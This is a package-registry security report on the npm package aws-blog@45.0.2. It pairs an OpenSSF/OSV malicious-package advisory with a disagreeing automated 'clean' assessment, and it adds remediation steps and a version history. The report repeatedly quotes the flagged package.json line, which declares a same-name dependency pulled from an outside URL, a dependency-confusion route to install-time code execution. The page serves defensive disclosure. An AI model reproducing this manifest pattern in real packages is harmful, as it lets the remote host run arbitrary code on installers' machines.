registry / Malware / aws-blog

aws-blog

This report shows the evidence for aws-blog@45.0.2. 3 of 4 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

OpenSSF/OSV Malicious Advisory

imported 2mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-15498 confirms this npm version as malicious.

Advisory

MAL-2026-15498

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in aws-blog (npm)

Details

package.json declares a dependency whose key equals the package's own name (aws-blog) and whose value is the bare HTTPS URL https://repo.securityctrl.com/aws-blog rather than a registry version range. On npm install, npm fetches whatever tarball that host returns and installs it, executing any lifecycle scripts it contains, with no version pin, no integrity hash, and no signature check. The shipped source is an inert stub, so the manifest itself is the entire install-time payload. The name collision with the package's own identifier combined with the implausibly high 45.0.1 version is a dependency-confusion delivery shape intended to win resolution against an internal package of the same name. Whoever controls repo.securityctrl.com controls arbitrary code execution on the installer's machine at install time.

References

OpenSSF/OSV advisory PACKAGE PACKAGE

Independent LPM AI assessment

Clean

Independent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.

The package has no lifecycle hooks and its only executable source returns a fixed string. The URL dependency warrants normal dependency provenance checks, but it is not concrete malicious behavior in this package.

Static reason

No blocking static signals were detected.

Trigger

Standard npm dependency resolution may retrieve the declared dependency.

Impact

No harmful package behavior is present in the reviewed files.

Mechanism

Minimal exported fixed-string function with a dependency declaration.

AI rationale

Evidence

package.jsonindex.jsREADME.md

Network endpoints1

repo.securityctrl.com/aws-blog

Independent scan evidence

public snapshot

AI called this Clean at 94.0% confidence as Benign with low false-positive risk.

Evidence for AI clean decision

The manifest declares a same-name dependency fetched from a URL.
The executable entry point only defines and exports a function that returns a fixed string.

Evidence against

No install, preinstall, or postinstall lifecycle hook is declared.
No network, shell, file-system, dynamic-code, credential, or persistence behavior appears in the reviewed source.
The package contains only package.json, index.js, and a short README.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 78 B of source

Source & flagged code

2 flagged

package.jsonView file

14"dependencies": { "aws-blog": "https://repo.securityctrl.com/aws-blog" }

High

Suspicious Dependency Evidence

The manifest declares a same-name dependency fetched from a URL.

package.jsonView on unpkg · L14

index.jsView file

1#!/usr/bin/env node function hello() { return "ok" } module.exports = hello

High

Ai Review Evidence

The executable entry point only defines and exports a function that returns a fixed string.

index.jsView on unpkg · L1

Source & flagged code

2 flagged · loading source

package.jsonView file

14"dependencies": { "aws-blog": "https://repo.securityctrl.com/aws-blog" }

High

Suspicious Dependency Evidence

The manifest declares a same-name dependency fetched from a URL.

package.jsonView on unpkg · L14

index.jsView file

1#!/usr/bin/env node function hello() { return "ok" } module.exports = hello

High

Ai Review Evidence

The executable entry point only defines and exports a function that returns a fixed string.

index.jsView on unpkg · L1

Findings

2 High2 Low

HighSuspicious Dependency Evidencepackage.json

HighAi Review Evidenceindex.js

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to aws-blog@45.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing aws-blog@45.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-28 23:40:06.269Z (UTC).

Source advisory published: 2026-08-28 23:12:05.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

0.0.1-securitylatestClean—AllowPublishedAug 29, 2026, 6:10 PM 45.0.2shownMaliciousMalwareBlockPublishedAug 27, 2026, 2:32 PM 45.0.1MaliciousMalwareBlockPublishedAug 26, 2026, 7:47 PM 45.0.0MaliciousMalwareBlockPublishedMar 17, 2026, 9:29 PM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code